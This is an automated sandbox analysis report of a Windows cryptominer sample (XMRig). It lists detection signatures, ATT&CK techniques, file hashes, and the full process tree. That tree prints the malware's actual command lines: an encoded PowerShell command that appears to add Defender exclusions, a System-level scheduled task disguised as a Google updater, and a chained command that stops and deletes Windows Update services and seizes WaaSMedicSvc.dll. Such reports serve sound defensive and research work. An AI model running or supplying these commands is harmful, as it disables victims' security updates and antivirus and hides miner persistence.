Analysis

  • max time kernel
    299s
  • max time network
    249s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    15-05-2022 22:15

General

  • Target

    a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe

  • Size

    7.6MB

  • MD5

    95104aa61ed30687c13e5c644d5722f3

  • SHA1

    f9788f808044d448f73203d93da0021cefb781ff

  • SHA256

    a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

  • SHA512

    99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 5 IoCs
  • Executes dropped EXE 1 IoCs
  • Possible privilege escalation attempt 4 IoCs
  • Stops running service(s) 3 TTPs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry key 1 TTPs 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
    "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
      2⤵
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4692
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1776
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
          4⤵
          • Creates scheduled task(s)
          PID:4724
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:3092
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
          4⤵
            PID:4988
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
            4⤵
              PID:4832
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
              4⤵
                PID:4268
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                4⤵
                  PID:4580
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                  4⤵
                    PID:4860
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                    4⤵
                      PID:3808
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                      4⤵
                        PID:4452
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:3364
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:4848
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:4064
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3140
                      • C:\Windows\system32\schtasks.exe
                        schtasks /run /tn "GoogleUpdateTaskMachineQC"
                        4⤵
                          PID:3844
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                    1⤵
                    • Modifies registry key
                    PID:4728
                  • C:\Windows\system32\takeown.exe
                    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                    1⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4852
                  • C:\Windows\system32\icacls.exe
                    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                    1⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:5016
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                    1⤵
                    • Modifies registry key
                    PID:3624
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                    1⤵
                    • Modifies security service
                    • Modifies registry key
                    PID:4200
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                    1⤵
                    • Modifies registry key
                    PID:4068
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                    1⤵
                    • Modifies registry key
                    PID:4140
                  • C:\Windows\system32\sc.exe
                    sc stop dosvc
                    1⤵
                      PID:4800
                    • C:\Windows\system32\sc.exe
                      sc stop bits
                      1⤵
                        PID:4796
                      • C:\Windows\system32\sc.exe
                        sc stop wuauserv
                        1⤵
                          PID:1624
                        • C:\Windows\system32\sc.exe
                          sc stop WaaSMedicSvc
                          1⤵
                            PID:4184
                          • C:\Windows\system32\sc.exe
                            sc stop UsoSvc
                            1⤵
                              PID:4112
                            • C:\Program Files\Windows\services.exe
                              "C:\Program Files\Windows\services.exe"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3164
                              • C:\Windows\System32\conhost.exe
                                "C:\Windows\System32\conhost.exe" "C:\Program Files\Windows\services.exe"
                                2⤵
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Drops file in Program Files directory
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4428
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
                                  3⤵
                                    PID:4300
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
                                      4⤵
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:588
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                    3⤵
                                      PID:5072
                                      • C:\Windows\system32\sc.exe
                                        sc stop bits
                                        4⤵
                                          PID:1560
                                        • C:\Windows\system32\takeown.exe
                                          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                                          4⤵
                                          • Possible privilege escalation attempt
                                          • Modifies file permissions
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4188
                                        • C:\Windows\system32\icacls.exe
                                          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                          4⤵
                                          • Possible privilege escalation attempt
                                          • Modifies file permissions
                                          PID:4228
                                        • C:\Windows\system32\reg.exe
                                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                                          4⤵
                                          • Modifies registry key
                                          PID:2536
                                        • C:\Windows\system32\reg.exe
                                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                                          4⤵
                                          • Modifies registry key
                                          PID:4264
                                        • C:\Windows\system32\reg.exe
                                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                                          4⤵
                                          • Modifies registry key
                                          PID:5084
                                        • C:\Windows\system32\reg.exe
                                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                                          4⤵
                                          • Modifies registry key
                                          PID:4792
                                        • C:\Windows\system32\reg.exe
                                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                                          4⤵
                                          • Modifies registry key
                                          PID:4772
                                        • C:\Windows\system32\sc.exe
                                          sc stop dosvc
                                          4⤵
                                            PID:2216
                                          • C:\Windows\system32\sc.exe
                                            sc stop wuauserv
                                            4⤵
                                              PID:4256
                                            • C:\Windows\system32\sc.exe
                                              sc stop WaaSMedicSvc
                                              4⤵
                                                PID:4240
                                              • C:\Windows\system32\sc.exe
                                                sc stop UsoSvc
                                                4⤵
                                                  PID:4220
                                                • C:\Windows\system32\reg.exe
                                                  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                  4⤵
                                                  • Modifies registry key
                                                  PID:4808
                                                • C:\Windows\system32\reg.exe
                                                  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                  4⤵
                                                  • Modifies registry key
                                                  PID:4820
                                                • C:\Windows\system32\schtasks.exe
                                                  SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                                                  4⤵
                                                    PID:3688
                                                  • C:\Windows\system32\schtasks.exe
                                                    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                                                    4⤵
                                                      PID:3544
                                                    • C:\Windows\system32\schtasks.exe
                                                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                                      4⤵
                                                        PID:3820
                                                      • C:\Windows\system32\schtasks.exe
                                                        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                                                        4⤵
                                                          PID:4900
                                                        • C:\Windows\system32\schtasks.exe
                                                          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                                                          4⤵
                                                            PID:4856
                                                          • C:\Windows\system32\schtasks.exe
                                                            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                                                            4⤵
                                                              PID:4804
                                                            • C:\Windows\system32\schtasks.exe
                                                              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                                                              4⤵
                                                                PID:4052
                                                              • C:\Windows\system32\reg.exe
                                                                reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                                4⤵
                                                                • Modifies registry key
                                                                PID:3908
                                                              • C:\Windows\system32\reg.exe
                                                                reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                                4⤵
                                                                • Modifies registry key
                                                                PID:3896
                                                            • C:\Windows\System32\conhost.exe
                                                              C:\Windows\System32\conhost.exe
                                                              3⤵
                                                                PID:4472
                                                                • C:\Windows\System32\conhost.exe
                                                                  "C:\Windows\System32\conhost.exe" "ayfzchqlcjzzno"
                                                                  4⤵
                                                                    PID:3092
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe hhmzomdryxklm1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRSWr9mZW0WjQ8Zp6uvmLE6u5mJa6blLxbhLUBAH2hxKbhKEsyAtsV/R69zSzs3rP9kwrKtV5rbpmU/ciKPfPbhE9OKMMZXsI4UuRWZka8gS1s3HImYphWDV4wtqbeoHFj9g+eZNUoxfSBEn9L8w689dicSe5gi9g1CuCFLqyc7rwP/qjv/3JltIuH5LITKSCk7NXUnWeSDcKY+NEgVfPhJqoLEg0aeDg0KzxJrSUBDIJsbJWIc9iXONDbVMTVT325hS49GeGAI3OCMHKRR3rdOlsV6M9LUsKiFtUKe023Fiqki/2NFI17HEJ11UF+t6f3f98YUZokpWGVfv/F+VZIliwJaLVyzmm8cmJbvj/Kk9fw4aMKco/zTvKVFpN7WHBE5ihOAIdgLEtFFOECZ0VkdHbSg7zj8LXWP3XBDgZmT/PqsiIA0H3OwZNBjcY4rgjXQuml3y2wHeGb80pVVWBuMCIL8sCKDGpDbxiGDcBPcXfVWLdW+mS2VMIb3O/HlHhTYbdCuIHWH/bwUTs0vfQ83nR1mapBl3HhjShQnY40eZw0N1hMUMfCNjyNzWVgfBMhy9MwGaqnFJcQDpiYiVz61SrdLFCtpEnS3/kpJJXUzUBm0N2+JFiygLQGxw1SnSpP2EyTmdeaAN2uFWIS+BKCPJnp+Urs4ZIl3L86i6Tua4xkWIuaHTvQcBBqfq2BUHq/tLhHwx6yCrF/kfnl/5iXfLuCspUzlw6ZMz1cm2MDpBcOg1/gqzqrt+nyVDaTWBNnlqQtGRUYtUgvt5UXluuo835dbfAbWdkMMKIb7n2tZu2O5jsprX3nRnflrXNwa4aGTIlireC/ZpMF870p7vGDEFpva1T0Rd09ATLL1v8gEbuv8MViLO6cBi+L9jUR0yZfcdT7y8lHnRy/+8C79u/c9DjZfyQB8NJv62KZdxCwBzSeLR5MMSp11Y2skr66+YEXG2FRRWrXAlH2bZXv98TaPSbt0i43nk4Yz7s+ytCPFUNIeIoxV9ce2xdOpHqqFCtwT8eJ9EaMxFCuVWhNc9ECcQ2wJtJ2BTuhX2x4mJKeaQTai1sy8DVQYd52treWJZeQG+84IKsCqBOo4TZLL7GKMsSj+J3fMBL82oHYCVo/XwBH9fjo36EWBjibeA1qOBj3n8/hOcGirQ/WjUG5965/cSYWzjatv0njtxER7lnH9HMnXMsHXUpgPeDkQYQe8tWGkKJfOjKWvOKULJTdqwcjKrySMCAnwM23+lrIvjgkHDSFXzrE4bsgtfQQLgMvxtEV0uEXKS5q7oSkWyt2f8078oXmh5OhNyLJn6XCoGx/NQGZ8UxzjcKczeCotM0TNeWj+SABRXgkf1VUKrXmJ0CAlPIjguo+q4co87MqHySF8+C6J7s6n/f1l++/reoGTPOhnw7iNjxqQsdhFqi8WdxxhNztJR1CeWprsRqngRs4eZ0B2KyfMQDOnyRkBthFTsKUv8+JSQD5ORke/9r2kNBdlHH3NamvS16q1YsdXFYsvFCMrBnbCTsCu+tasasTw82VpHrmPvBHdUFcaccuCCLHfZL28RuT4oBeO3lR+nHIbW9b5laMXY0Dn9kqMFd7Vj66+/jyFUG1pVWHJgudOaJbM
                                                                  3⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4744

                                                            Network

                                                            MITRE ATT&CK Matrix ATT&CK v6

                                                            Execution

                                                            Scheduled Task

                                                            1
                                                            T1053

                                                            Persistence

                                                            Modify Existing Service

                                                            2
                                                            T1031

                                                            Scheduled Task

                                                            1
                                                            T1053

                                                            Privilege Escalation

                                                            Scheduled Task

                                                            1
                                                            T1053

                                                            Defense Evasion

                                                            Modify Registry

                                                            2
                                                            T1112

                                                            Impair Defenses

                                                            1
                                                            T1562

                                                            File Permissions Modification

                                                            1
                                                            T1222

                                                            Impact

                                                            Service Stop

                                                            1
                                                            T1489

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • C:\Program Files\Windows\services.exe
                                                              Filesize

                                                              7.6MB

                                                              MD5

                                                              95104aa61ed30687c13e5c644d5722f3

                                                              SHA1

                                                              f9788f808044d448f73203d93da0021cefb781ff

                                                              SHA256

                                                              a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

                                                              SHA512

                                                              99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

                                                            • C:\Program Files\Windows\services.exe
                                                              Filesize

                                                              7.6MB

                                                              MD5

                                                              95104aa61ed30687c13e5c644d5722f3

                                                              SHA1

                                                              f9788f808044d448f73203d93da0021cefb781ff

                                                              SHA256

                                                              a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

                                                              SHA512

                                                              99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

                                                            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
                                                              Filesize

                                                              539B

                                                              MD5

                                                              84f2160705ac9a032c002f966498ef74

                                                              SHA1

                                                              e9f3db2e1ad24a4f7e5c203af03bbc07235e704c

                                                              SHA256

                                                              7840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93

                                                              SHA512

                                                              f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57

                                                            • memory/588-233-0x000001FAE8510000-0x000001FAE852C000-memory.dmp
                                                              Filesize

                                                              112KB

                                                            • memory/588-239-0x000001FAE8710000-0x000001FAE87C9000-memory.dmp
                                                              Filesize

                                                              740KB

                                                            • memory/588-273-0x000001FAE8530000-0x000001FAE853A000-memory.dmp
                                                              Filesize

                                                              40KB

                                                            • memory/588-215-0x0000000000000000-mapping.dmp
                                                            • memory/1560-369-0x0000000000000000-mapping.dmp
                                                            • memory/1624-174-0x0000000000000000-mapping.dmp
                                                            • memory/1776-184-0x0000000000000000-mapping.dmp
                                                            • memory/2216-370-0x0000000000000000-mapping.dmp
                                                            • memory/2536-130-0x0000000000000000-mapping.dmp
                                                            • memory/2536-382-0x0000000000000000-mapping.dmp
                                                            • memory/2644-171-0x0000000000000000-mapping.dmp
                                                            • memory/3092-188-0x0000000000000000-mapping.dmp
                                                            • memory/3092-413-0x0000028F4D640000-0x0000028F4D646000-memory.dmp
                                                              Filesize

                                                              24KB

                                                            • memory/3092-416-0x0000028F4CF10000-0x0000028F4CF17000-memory.dmp
                                                              Filesize

                                                              28KB

                                                            • memory/3140-197-0x0000000000000000-mapping.dmp
                                                            • memory/3164-202-0x0000000000400000-0x0000000001119000-memory.dmp
                                                              Filesize

                                                              13.1MB

                                                            • memory/3364-189-0x0000000000000000-mapping.dmp
                                                            • memory/3544-392-0x0000000000000000-mapping.dmp
                                                            • memory/3624-181-0x0000000000000000-mapping.dmp
                                                            • memory/3688-393-0x0000000000000000-mapping.dmp
                                                            • memory/3808-191-0x0000000000000000-mapping.dmp
                                                            • memory/3820-397-0x0000000000000000-mapping.dmp
                                                            • memory/3844-199-0x0000000000000000-mapping.dmp
                                                            • memory/3896-388-0x0000000000000000-mapping.dmp
                                                            • memory/3908-389-0x0000000000000000-mapping.dmp
                                                            • memory/3960-117-0x0000000000400000-0x0000000001119000-memory.dmp
                                                              Filesize

                                                              13.1MB

                                                            • memory/4052-391-0x0000000000000000-mapping.dmp
                                                            • memory/4064-186-0x0000000000000000-mapping.dmp
                                                            • memory/4068-178-0x0000000000000000-mapping.dmp
                                                            • memory/4112-172-0x0000000000000000-mapping.dmp
                                                            • memory/4140-177-0x0000000000000000-mapping.dmp
                                                            • memory/4184-173-0x0000000000000000-mapping.dmp
                                                            • memory/4188-383-0x0000000000000000-mapping.dmp
                                                            • memory/4200-179-0x0000000000000000-mapping.dmp
                                                            • memory/4220-366-0x0000000000000000-mapping.dmp
                                                            • memory/4228-384-0x0000000000000000-mapping.dmp
                                                            • memory/4240-367-0x0000000000000000-mapping.dmp
                                                            • memory/4256-368-0x0000000000000000-mapping.dmp
                                                            • memory/4264-375-0x0000000000000000-mapping.dmp
                                                            • memory/4268-196-0x0000000000000000-mapping.dmp
                                                            • memory/4300-214-0x0000000000000000-mapping.dmp
                                                            • memory/4428-374-0x00000255EB6C0000-0x00000255EB6C6000-memory.dmp
                                                              Filesize

                                                              24KB

                                                            • memory/4428-385-0x00000255EBA50000-0x00000255EBA62000-memory.dmp
                                                              Filesize

                                                              72KB

                                                            • memory/4452-190-0x0000000000000000-mapping.dmp
                                                            • memory/4472-376-0x0000000000400000-0x000000000040C000-memory.dmp
                                                              Filesize

                                                              48KB

                                                            • memory/4472-381-0x0000000000400000-0x000000000040C000-memory.dmp
                                                              Filesize

                                                              48KB

                                                            • memory/4472-377-0x0000000000401BEA-mapping.dmp
                                                            • memory/4580-194-0x0000000000000000-mapping.dmp
                                                            • memory/4652-146-0x000001D4F9ED0000-0x000001D4FA2EC000-memory.dmp
                                                              Filesize

                                                              4.1MB

                                                            • memory/4652-123-0x000001D4FCF00000-0x000001D4FD31C000-memory.dmp
                                                              Filesize

                                                              4.1MB

                                                            • memory/4692-131-0x0000000000000000-mapping.dmp
                                                            • memory/4692-142-0x000002647B570000-0x000002647B5E6000-memory.dmp
                                                              Filesize

                                                              472KB

                                                            • memory/4692-137-0x0000026478F40000-0x0000026478F62000-memory.dmp
                                                              Filesize

                                                              136KB

                                                            • memory/4724-185-0x0000000000000000-mapping.dmp
                                                            • memory/4728-180-0x0000000000000000-mapping.dmp
                                                            • memory/4744-401-0x0000000140000000-0x0000000140803000-memory.dmp
                                                              Filesize

                                                              8.0MB

                                                            • memory/4744-402-0x00000230FEF50000-0x00000230FEF70000-memory.dmp
                                                              Filesize

                                                              128KB

                                                            • memory/4744-407-0x00000230FEFB0000-0x00000230FEFF0000-memory.dmp
                                                              Filesize

                                                              256KB

                                                            • memory/4744-399-0x000000014036DB84-mapping.dmp
                                                            • memory/4744-404-0x0000000140000000-0x0000000140803000-memory.dmp
